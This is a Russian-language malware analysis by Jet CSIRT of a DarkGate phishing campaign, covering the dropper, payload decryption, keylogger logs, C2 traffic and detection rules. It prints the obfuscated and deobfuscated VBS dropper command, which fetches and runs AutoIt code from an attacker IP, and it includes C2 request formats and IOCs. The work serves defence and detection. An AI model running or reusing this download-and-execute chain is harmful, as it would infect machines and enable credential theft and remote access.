Открываем темные врата. Разбор вредоносного ПО DarkGate

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

0x0 Введение в предмет исследования

Работа аналитика киберразведки часто подбрасывает интересные задачи из совершенно разных областей жизни. Иногда мы в Jet CSIRT анализируем очередное ВПО, которое еще никто не разбирал «по косточкам», или того, что уже было написано, оказывается мало, и приходится выкручиваться как можем  находить решения и проводить настоящую исследовательскую работу. Так произошло и в нашем случае, когда коллеги из «Лаборатории Касперского» сообщили о возобновившем активность вредоносе DarkGate практически в тот же момент, когда мы проводили анализ семпла. Выяснилось, что существовавшие с 2017 года «Темные Врата» не просто оживили в 2023-м, но и оснастили дополнительным мощным инструментарием.

Изначально ничем не примечательный инцидент привел к исследованию, результатами которого мы решили поделиться с комьюнити.

Обо всем по порядку. В Jet CSIRT поступил запрос: пользователям заказчика на электронную почту начали приходить подозрительные письма с вложенным архивом с паролем. В архиве находился VBS-скрипт, причем в ходе исследования было выявлено несколько вариаций доставки вредоноса:

Темы электронных писем менялись (чего там только не было): «Просьба ознакомиться с последними изменениями!», «Перечень вопросов, поступивших из редакции для подготовки интервью», «Вопросы для интервью», «Запрос по бланкам ОСАГО».

0x1 Анализ вредоносного вложения

Первым логичным шагом было проанализировать содержимое VBS-скрипта, который, как оказалось, включал в себя обфусцированный код:

LvqASyC = Replace("Shojelojl.ojApojplojicojatojioojn","oj","")

MsgBox LvqASyC

on error resume next

on error resume next

on error resume next

LvqASyCs = Replace("cmojd","oj","")

MsgBox LvqASyCs

LvqASyCss = Replace("/coj mojkdojiroj coj:\ojucojetoj &oj cojd oj/doj coj:\ojucojetoj &oj cojopojy ojc:oj\wojinojdoojwsoj\sojysojteojm3oj2\ojcuojrloj.eojxeoj uojceojt.ojexoje oj& ojucojetoj -ojo ojAuojtoojitoj3.ojexoje ojhtojtpoj:/oj/4oj5.oj89oj.6oj5.oj19oj8:oj80oj &oj uojceojt oj-ooj sojcrojipojt.ojauoj3 ojhtojtpoj:/oj/4oj5.oj89oj.6oj5.oj19oj8:oj80oj/mojsiojdkojbkojejojlqoj &oj Aojutojoiojt3oj.eojxeoj sojcrojipojt.ojauoj3","oj","")

MsgBox LvqASyCss

pause

WScript.Quit

MsgBox "Psvy"

'vvvv

Обфускация была выполнена через вставку символов «oj» в произвольных местах команды. После деобфускации код приобрел следующий вид:

MsgBox Shell. Application

on error resume next

on error resume next

on error resume next

MsgBox Shell. Applications

Shell. Applications = /c mkdir c:\ucet & cd /d c:\ucet & copy c:\windows\system32\curl.exe ucet.exe & ucet -o Autoit3.exe http://45.89.65.198:80 & ucet -o script.au3 http://45.89.65.198:80/msidkbkejlq & Autoit3.exe script.au3

MsgBox Shell. Applicationss

pause

WScript.Quit

MsgBox "Psvy"

'vvvv

По тексту статьи файл .au3 представлен условно как «script.au3» для упрощения восприятия, так как фактическое наименование файла представляет из себя строку из семи случайных символов.

Мы исследовали все доступные варианты фишинговых писем и выяснили, что, хотя там и были разные VBS-скрипты, в них сохранялся единый принцип обфускации, и должна была запуститься одна и та же команда:

mkdir c:\ucet & cd /d c:\ucet & copy c:\windows\system32\curl.exe ucet.exe & ucet -o Autoit3.exe http://45.89.65.198:80 & ucet -o script.au3 http://45.89.65.198:80/msidkbkejlq & Autoit3.exe script.au3

В результате выполнения команды происходит следующее:

 

1.      Создается новая директория ucet на диске C и осуществляется переход в эту директорию.

2.      Файл curl.exe копируется из системной директории Windows в директорию ucet с новым именем ucet.exe с помощью команды copy. Предположительно, это действие производится для обхода систем мониторинга, контролирующих запуск команды curl.

3.      Запускается исполняемый файл ucet.exe (который, по факту, стандартный curl.exe) с параметром «-o Autoit3.exe» и URL’ом http://45.89.65[.]198:80 — таким образом в директорию ucet загружается исполняемый файл autoit3.exe.

4.      Посредством ucet.exe в ту же директорию загружается файл script.au3 с адреса http://45.89.65[.]198:80/msidkbkejlq.

5.      Запускается программа Autoit3.exe с параметром script.au3, что приводит к выполнению указанного скрипта.

 

AutoIt — это свободно распространяемый язык для автоматизации выполнения задач в Microsoft Windows. Он позволяет создавать скрипты автоматизации, способные имитировать действия пользователя, такие как текстовый ввод и воздействия на элементы управления системы и программ, а также реагировать на события.

В нашем случае au3-скрипт используется как дроппер, который разворачивает исполняемый файл-инжектор внутри оперативной памяти. Но обо всём по порядку.

0x2 Первый запуск

Во время первого запуска вредоносный скрипт изучает систему на предмет того, запускался ли он в ней ранее, путем анализа директорий, файлов и ключей реестра.

Во время чтения реестра формируется уникальный ID компьютера жертвы, который представляет из себя хеш строки «{ID процессора}{характеристики процессора}{активная учетная запись}{имя компьютера}».

В нашем случае из строки «00326-10000-00000-AA479Intel(R) Xeon(R) CPU E5-2683 v4 @ 2.10GHz @ 20 CoresdoomieWINLAB» формируется ID «CeHhCeaHGKdHBKACdFbfBKHcCEffEFcc»:

Записей в реестр было обнаружено три, причем они весьма схожи — следующие ключи устанавливаются в значение «1» и полностью отключают работу WER:

HKCU\SOFTWARE\Microsoft\Windows\Windows Error Reporting\DontShowUI

HKCU\Software\Microsoft\Windows\Windows Error Reporting\DontShowUI

HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting\DontShowUI

После этого скрипт создает свою собственную копию, а также копию интерпретатора AutoIt в директориях C:\Temp и C:\ProgramData\{random_chars}\.

Закрепление происходит достаточно просто, что странно, учитывая предпринятые попытки сокрытия выполняемых действий в ходе первичного запуска: в автозагрузку добавляется lnk-файл, указывающий на копию скрипта в C:\Temp.

Вишенкой на торте выступает BSOD зараженной машины. После всех подготовительных действий скрипт вызывает «синий экран смерти», который вынуждает заново включать машину. Вероятно, такой способ перезагрузки вызывает меньше подозрений у жертвы, чем стандартный shutdown.exe.

0x3 Второй запуск

После перезапуска виртуальной машины вредонос запускается из автозагрузки и начинает свою активность. При это наблюдаем следующие действия:

1. Запущен какой-либо легитимный исполняемый MZ-файл, который выбирается случайным образом:

2. Запущенный процесс хоть и выглядит легитимным, но при этом осуществляет сетевое взаимодействие с C2-сервером 45.89.65[.]198:

3. Всё тот же процесс пишет некие данные в файл C:\Temp\{random_chars}\{random_chars}\dd-mm-yyyy.log. На данном этапе логично предположить, что раз запись ведется в файл .log, то это логи вредоноса:

0x3 Содержимое вредоносного скрипта

Настало время открыть содержимое script.au3 и разобраться в логике его работы:

При первом открытии скрипта нас встретили сотни килобайт совершенно нечитаемых символов, и лишь примерно в середине листинга файла нашлась директива AU3!EA06, которая сигнализирует о том, что скрипт был скомпилирован.

В ходе анализа, взяв данную директиву за точку отсчета, мы определили структуру данного файла:

AU3-скрипт в данном случае выступает лоадером MZ-файла, который расшифровывает полезную нагрузку вредоноса и запускает ее.

Рассмотрим расшифровку полезной нагрузки:

1.      Ключ представляет из себя 10 символов английского алфавита, отделенных «пайпами» от других блоков файла:

2.      Расшифровать MZ-блок можно следующим образом:

qdzndqZGvF                              // исходный ключ

dzndqZGv                                // убираем первый и последний символы ключа

100 122 110 100 113 90 71 118          // переводим байты ключа в целые числа

100^122^110^100^113^90^71^118=14        // выполняем XOR всех байтов между собой

14^151=153                              // выполняем XOR на 151 (MAGIC INT)

153                                     // однобайтовый ключ от MZ-файла

3.      Теперь можно взять все оставшиеся после второго «пайпа» данные и выполнить XOR на 153. Следует отметить, что байты MZ-файла предварительно зашифрованы base64, так что перед операцией XOR следует расшифровать байты в RAW-формат. Для автоматизации расчета ключа и дальнейшего формирования MZ-файла был разработан Python-скрипт, принимающий на вход файл.au3 и генерирующий одноименный файл .exe:

В результате у нас в руках появилась полезная нагрузка вредоноса в формате .exe, которую намного удобнее анализировать, нежели au3-скрипт:

При анализе артефактов MZ-файла утилитой strings были обнаружены интересные строки, например, /c cmdkey /generic:"127.0.0.2" /user:"SafeMode" /pass:"darkgatepassword0". Также удалось понять, что полезная нагрузка написана на языке Borland Delphi, но большинство строк зашифрованы и представляют собой нечитабельные последовательности, отдаленно напоминающие base64 с символом «=» в середине строки:

При дальнейшем анализе в отладчике была найдена функция, отвечающая за расшифровку. Команды shift left и shift right дают понять, что мы имеем дело с base64, а строка «NSxKgEmCs9wpXUdc86keG1rRQbODy7uFjMIqnZAHlLvWi40V3fJtzY5a2hPoT=B+» выступает в качестве перемешанного алфавита, которым кодируются строки:

Благодаря полученной информации разработан (снова на Python'е) скрипт-дешифровщик:

Новые артефакты содержат большое количество интересных строк, например, упоминание функционалов майнера, стиллера, RAT и многое другое. Отдельная благодарность разработчику DarkGate за подробное дебаг-логирование:

Для упрощения анализа был написан IDAPython-скрипт для дизассемблера IDAPro:

К нашему разочарованию, функционалы майнера, стиллера, шифровальщика и т. д. не были реализованы в этом конкретном билде вредоноса. Возможно, кому-то повезет больше, чем нам.

0x4 Логирование вредоноса

Как упоминалось ранее, вредонос пишет некие данные (логи?) в файл C:\Temp\{random_chars}\{random_chars}\dd-mm-yyyy.log. Этот файл содержит зашифрованную информацию, которая похожа на классический base64. Однако при попытке расшифровать файл читабельного текста мы не нашли.

В артефактах MZ-файла были найдены строки Rijndael и masteroflog:

Стало очевидно, что полученную после расшифровки base64 строку необходимо расшифровать шифром Rijndael (AES) с ключом «masteroflog». Все попытки реализовать это на Python не увенчались успехом, поэтому было принято решение писать декриптор на том же языке, на котором реализован вредонос — Borland Delphi.

Подходящая реализация была обнаружена по первой ссылке в Гугле и представляется следующими строками:

DCP_rijndael1: TDCP_rijndael;

DCP_rijndael1 := TDCP_rijndael.Create(Self);

DCP_rijndael1.InitStr(Password, TDCP_sha1);

Result := DCP_rijndael1.DecryptString(Source);

После такого преобразования информацию из файла можно прочитать. Оказалось, что DarkGate всё это время работал как кейлогер с функцией сохранения содержимого буфера обмена:

Между префиксов и суффиксов «encwindow» располагается название окна (в HEX), из которого был осуществлен перехват:

0x5 Сетевое взаимодействие

Нам не повезло: не получилось подробно зафиксировать взаимодействие злоумышленника с нашей виртуальной машиной — мы получали только ответные пакеты от C2-сервера в виде скромного «Ok».

Поэтому в ходе исследования были рассмотрены только исходящие пакеты, их всего два вида, и они отличаются друг от друга значением передаваемого параметра «act» (полагаем, это сокращение от action).

При первом запуске скрипта на С2-сервер злоумышленника отправляется следующий POST-запрос:

id=CeHhCeaHGKdHBKACdFbfBKHcCEffEFcc&data=lKo7XHfp%2B9DfXHd&act=3021

После перезапуска виртуальной машины каждые четыре секунды отправляются пакеты с act=1000, которые отличаются содержимым параметра «data»:

id=CeHhCeaHGKdHBKACdFbfBKHcCEffEFcc&data=tvhsMsB7MsMfFpMstv8sMsvfMsMfDjMsMq%3DsMs%3DEMsMEDpMstj8sMsBuMsMftpMsMb5sMs%3D3MsM7tjMsMqysMs%3DEMsMEMsMstpMsMsBEMsMfDjMstqMsMsvKMsM3MjMstqhsMsvUMsMftpMstq%3DsMQxWCshRtJ3EC3fOCz&act=1000

Значение «id» мы уже встречали ранее, идея параметра «act» тоже ясна (разделение типов сообщений), а вот параметр «data» в очередной раз зашифрован.

На самом деле это очередной base64 с «кастомным» алфавитом (но уже другим, обнаруженным неподалеку от первого), который предварительно прошел через операцию однобайтового XOR (разный байт для разных значений «act»).

Таким образом удалось расшифровать оба сообщения (главное — не забыть про URL decode):

Первым пакетом вредонос сообщает C2-серверу о запуске процедуры вызова BSOD, а все последующие пакеты несут в себе информацию о названии активного окна, номере пакета, версии DarkGate и, предположительно, статусе работы какого-либо из модулей (вероятно, майнера).

Оба декриптора также написаны на Python:

0x6 Противодействие

Профилактика

Для профилактики заражения вредоносом DarkGate (впрочем, как и многими другими вредоносами) целесообразно применять комплекс мероприятий, таких как повышение осведомленности сотрудников с целью противодействия фишинговым атакам, корректная конфигурация доменных политик (в частности, запрет на прямое исполнение VBS-, batch-, PowerShell-скриптов), а также реализация непрерывного мониторинга.

Аналитики центра кибербезопасности Jet CSIRT уже подготовили и внедрили корреляционный контент для выявления активности DarkGate в SIEM-системах своих заказчиков. Для того чтобы каждый мог настроить мониторинг в своей инфраструктуре, прикладываем частичный список условий в виде псевдо-кода:

source_ip == ‘45.89.65[.]198‘

destination_ip == ‘45.89.65[.]198‘

regexp(raw, ‘id=.*&data=.*&act=.*’) != null

regexp(file_full_name, ‘C:\\temp\\.*\.au3’) != null

command_line contains ‘.au3’

Проверка компрометации

Способов выявления внедренных в инфраструктуру экземпляров DarkGate можно придумать довольно много, вплоть до поиска аномалий сетевой активности, но наиболее простой и эффективный способ — провести проверку наличия файлов .au3 в директории C:\Temp, например, с помощью следующей команды:

powershell.exe Test-Path C:\temp\*.au3

Эту же команду можно поместить в batch-скрипт для массовой проверки автоматизированными средствами.

45.89.65[.]198

317fb87555e7136e415b1762cda88beb9161d69220ac39b5c62851386ad14639

2095c0c7d5fa33244ce6637beeafa3f2b2cb3b2ae85e285eaea4ddecb83189a6

20428847c85a5286dbe5316f76905c3be49e47d510429b7bd9f9a785bac12033

MITRE ATT&CK:

T1010

T1012

T1027

T1033

T1036

T1055

T1056

T1057

T1059

T1071

T1078

T1082

T1083

T1087

T1095

T1112

T1113

T1115

T1129

T1222

T1497

T1518

T1547

T1548

T1571

T1614

0x7 Выводы

Вредоносное ПО DarkGate имеет серьезный функционал: злоумышленник может украсть чувствительную информацию с помощью стиллера (файлы cookie, пароли, токены дискорда, пароли криптокошельков), добывать криптовалюту посредством встроенного майнера, получать удаленный доступ до зараженного узла, запускать кейлогеры, снимать скриншоты с машины жертвы, а также инжектировать любую полезную нагрузку вплоть до вируса-шифровальщика, выявить которую будет затруднительно благодаря двойному шифрованию. Создатели DarkGate не сидят на месте и постоянно совершенствуют свое детище, усложняя его выявление.

В наших кейсах злоумышленники используют проверенный временем метод доставки вредоносного ПО — фишинг. Способ всё еще остается действенным: пользователи продолжают попадаться на эту удочку. Не хочется повторять очевидное, но этот факт лишний раз доказывает необходимость профилактики: нужно обучать сотрудников цифровой гигиене и безопасной работе с электронной почтой.

Автор: Александр Перевалов, аналитик Jet CSIRT, "Инфосистемы Джет"

Источник: https://habr.com/ru/companies/jetinfosystems/articles/757860/


Интересные статьи

Интересные статьи

Предыдущие части: Часть 0, Часть 1, Часть 2, Часть 3, Часть 4В прошлый раз мы прописали обсчет коллизий между объектами, но столкнулись с проблемой оптимизации - когда на карте много объект...
В этой статье мы попробуем подробно разобрать относительно свежий, но интересный вредоносный сэмпл APT группировки TwistedPanda.Сэмпл от 2022-05-23, файл *.docm формата с Hash: 496b0b7f93a017b3e7931fe...
Корпорация Google выпустила седьмую версию смартфона Pixel, а также его Pro-версию с бОльшим экраном и немного отличающимся железом. Прошло уже больше недели с момента выхода обеих моделей, и негативн...
В данной статье рассмотрим функции, переменные, типы данных, а также некоторые другие базовые элементы синтаксиса языка Rust на примере написания простого приложения для хранения заметок. Лю...
Привет всем!  Как всегда ярко, мощно и динамично отгремел The Standoff, отшумели насыщенные PHDays10, и мы занялись разбором накопившихся завалов из отложенных дел. На волне впечатлений от междун...